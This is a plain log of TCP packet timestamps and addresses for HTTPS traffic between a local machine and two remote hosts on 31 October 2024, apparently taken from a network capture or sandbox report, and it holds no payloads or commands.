Oct 31, 2024 09:07:51.314431906 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.317298889 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.317348957 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.317423105 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.317708015 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.317725897 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334316015 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334387064 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334522963 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.334537029 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334605932 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334616899 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.334631920 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.334645033 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334652901 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.334656954 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.334661007 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.336457968 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.336469889 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.336540937 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.336647034 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.336658955 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.357191086 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.357592106 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.357601881 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.358043909 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.358047962 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.370049000 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.370393038 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.370419025 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.370801926 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.370814085 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.420196056 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.420629978 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.420669079 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.421051025 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.421061039 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.483642101 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.483721018 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.483789921 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.483803034 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.483829021 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.483875990 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.484008074 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.484024048 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.484035969 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.484041929 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.486440897 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.486468077 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.486556053 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.486799955 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.486814022 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.502214909 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.502269030 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.502345085 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.502455950 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.502455950 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.502480984 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.502501965 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.504885912 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.504923105 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.504981995 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.505127907 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.505145073 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.554250002 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.554316044 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.554389000 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.554529905 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.554568052 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.554595947 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.554613113 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.557002068 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.557044029 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.557136059 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.557291031 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.557322025 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.637983084 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.638123989 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.639931917 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.639938116 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.640743971 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.642379999 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.642436028 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.642441034 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.642556906 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.687326908 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.893544912 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.894083023 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.894093990 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:51.894115925 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:51.894144058 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:52.066159964 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.078495979 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.094249010 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.094288111 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.094686985 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.094695091 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.100311041 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.100320101 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.104196072 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.104202032 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.218128920 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.218287945 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.218425989 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.221414089 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.235270977 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.249033928 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.249119043 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.249172926 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.249228954 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.267791033 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.283387899 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.289491892 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.289515018 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.289529085 CET	49984	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.289536953 CET	443	49984	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.291042089 CET	49983	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.291048050 CET	443	49983	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.292781115 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.292797089 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.293708086 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.293715954 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.293983936 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.293991089 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.294315100 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.294555902 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.294562101 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.294811964 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.294823885 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.295208931 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.295216084 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.316379070 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.316421032 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.316490889 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.317204952 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.317222118 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.328982115 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.329014063 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.329154015 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.334652901 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.334666967 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420084000 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420119047 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420161963 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420186043 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420231104 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.420244932 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.420445919 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.420469046 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420484066 CET	49985	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.420490026 CET	443	49985	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420540094 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.420564890 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.420583963 CET	49986	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.420589924 CET	443	49986	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.423274994 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.423365116 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.423449993 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.423466921 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.423487902 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.423531055 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.423948050 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.423959017 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.424051046 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.425056934 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.425084114 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.425144911 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.429675102 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.429675102 CET	49987	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.429694891 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.429708004 CET	443	49987	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.432149887 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.432164907 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.432235003 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.432251930 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.435333967 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.435370922 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:52.435471058 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.435548067 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:52.435568094 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.050915003 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.051369905 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.051400900 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.051810980 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.051816940 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.085925102 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.086312056 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.086335897 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.086802959 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.086807966 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.151098013 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.153088093 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.153115988 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.153198004 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.153502941 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.153526068 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.153553963 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.153562069 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.153991938 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.154002905 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.181211948 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.181288004 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.181442976 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.181488037 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.181503057 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.181535006 CET	49988	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.181540012 CET	443	49988	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.181868076 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.182223082 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.182233095 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.182634115 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.182638884 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.184216022 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.184238911 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.184318066 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.184457064 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.184468031 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.217216015 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.217351913 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.217516899 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.217516899 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.217516899 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.219418049 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.219444990 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.219557047 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.219643116 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.219655991 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.278898954 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.278919935 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.279033899 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.279045105 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.279097080 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.279145956 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.279309988 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.279325962 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.279339075 CET	49990	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.279342890 CET	443	49990	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.281996012 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.282008886 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.282095909 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.282098055 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.282263041 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.282274008 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.282394886 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.282444954 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.282497883 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.282512903 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.282526970 CET	49991	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.282532930 CET	443	49991	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.284385920 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.284425020 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.284497976 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.284625053 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.284641981 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.313188076 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.313215017 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.313316107 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.313327074 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.313339949 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.313385963 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.313472033 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.313472033 CET	49992	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.313483953 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.313493013 CET	443	49992	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.315522909 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.315550089 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.315618992 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.315768003 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.315781116 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.517787933 CET	49989	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.517807007 CET	443	49989	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.914335012 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.914773941 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.914787054 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.915213108 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.915219069 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.967490911 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.967979908 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.967993975 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:53.968452930 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:53.968457937 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.024753094 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.025026083 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.025171995 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.025203943 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.025290966 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.025310040 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.025610924 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.025618076 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.025700092 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.025707006 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.044289112 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.044312000 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.044373989 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.044383049 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.044435024 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.044573069 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.044585943 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.044611931 CET	49993	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.044619083 CET	443	49993	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.046988964 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.047020912 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.047091007 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.047219038 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.047233105 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.061434031 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.061914921 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.061932087 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.062294006 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.062299013 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.097754002 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.097800016 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.097886086 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.097898960 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.097922087 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.097966909 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.098026037 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.098040104 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.098050117 CET	49994	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.098054886 CET	443	49994	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.101727962 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.101762056 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.101830006 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.101984978 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.101999998 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.152853012 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.152915001 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.152966976 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.153248072 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.153248072 CET	49996	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.153285027 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.153312922 CET	443	49996	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.155987024 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.156008959 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.156056881 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.156071901 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.156085968 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.156141043 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.157346964 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.157371998 CET	443	50000	13.107.246.45	192.168.2.6
